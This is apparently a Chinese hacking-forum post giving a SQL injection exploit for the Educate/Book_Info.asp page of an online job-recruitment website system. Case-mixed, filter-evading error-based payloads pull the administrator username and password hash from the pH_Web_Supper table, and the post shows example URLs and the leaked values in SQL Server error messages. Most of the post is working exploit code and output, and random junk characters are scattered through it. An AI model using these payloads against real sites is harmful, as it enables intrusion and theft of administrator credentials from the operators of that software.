网络求职招聘人才网站系统正式版注入

admin

漏洞出现在Educate/Book_Info.asp
7 S* ]0 G- v- I2 f- K4 v
此处注入点虽然过滤了一些关键字 但是我们还是可以盲注的 可以利用sqlmap跑出
* h! p5 X- y" d- S/ g/ I: j
exp：如下
, Z2 Y7 N, Z+ L) i查询管理账号：+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper)
/ @. N; x; u* [* Y查询管理密码：+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)
; f7 `/ a# H  ?
http://www.xxx.com /Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper)

8 b; B7 y4 X1 [. pMicrosoft OLE DB Provider for SQL Server 错误 '80040e07'

将 nvarchar 值 'hackbase' 转换为数据类型为 int 的列时发生语法错误。
3 X7 r. l2 u! {0 L% }2 ?' _$ T
/Educate/Book_Info.asp，行 8
  z5 c# v- E# r* _1 ~; V
. h. M2 S8 K( [http://www.xxx.com /Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)

Microsoft OLE DB Provider for SQL Server 错误 '80040e07'
& o6 h! v- X* @/ y% A
( K6 ]; r( p1 i将 nvarchar 值 '165706AD8319D7F95B7FC5E82FBE8F' 转换为数据类型为 int 的列时发生语法错误。

( \/ D) @+ k/ _/ G) @$ H$ c/Educate/Book_Info.asp，行 8
& d' e) f0 ]$ s​